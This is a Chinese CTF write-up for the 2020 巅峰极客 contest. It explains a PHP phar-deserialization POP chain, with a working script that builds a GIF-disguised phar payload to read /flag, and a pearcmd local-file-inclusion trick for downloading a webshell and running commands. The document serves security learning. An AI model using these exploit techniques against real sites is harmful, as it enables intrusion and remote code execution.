巅峰极客2020
2020巅峰极客部分WP
参考链接:https://www.gem-love.com/ctf/2634.html
主要不是题目的解答,看了颖奇大佬的文章,再根据自己在做题目的过程中记忆,对题目单纯的进行理论上的复现,原理是一样的
BabyPhp2
打开题目
这里提示已经很明显了,这里登陆不上的。
然后扫目录,得到www.zip,源码泄漏,然后打开源码,进行源码的分析
文件读取的漏洞,但是这个读取方法里面的有waf,魔术方法就需要制造调用,构建POP链。现在就是要找到这个链头了。
有一个魔术方法之中有修改的内容,可以这里是可以利用,接下来就是想办法将 这个地方包含进来还要执行这条链。剩下的就是file_get_contents
这个函数了。利用伪协议将php文件读取进来,还要能够执行。phar
伪协议满足要求。但是
已经被销毁了。这里提醒一下,伪协议是可以联合使用的。
compress.zlib://phar://
这样就可以绕过限制读取文件,再加上那个upload.php上传的时候改一个名字,问题也就解决了。下面贴上大佬的脚本。
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
public function __construct()
{
$this->nickname = new Reader();
$this->backup = "/flag";
}
}
class dbCtrl
{
public $token;
public function __construct()
{
$this->token = new User;
}
}
Class Reader{
public $filename;
public $result;
}
$y1ng = new dbCtrl();
$phar = new Phar("web1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
@rename("web1.phar", "y1ng.gif");
之后将gif上传即可
这里利用是否有序列化的数据出现判断是否协议生效,这样就可以调节文件路径到底是怎样的。
phar反序列参考链接:https://paper.seebug.org/680/
MeowWorld
这道题有个Hint:register_argc_argv
然后这个题很容易看出漏洞是本地文件包含,并且限制了包含的目录,就别想逃出来了。
然后就是利用pear这个包管理器,下载我们自己的马儿,然后,包含,来命令执行。
http://127.0.0.1:8080/index.php?f=/usr/share/pear/pearcmd&+list
这个就相当于在本地运行
pear list
这样也就不难猜到提示词的用意了。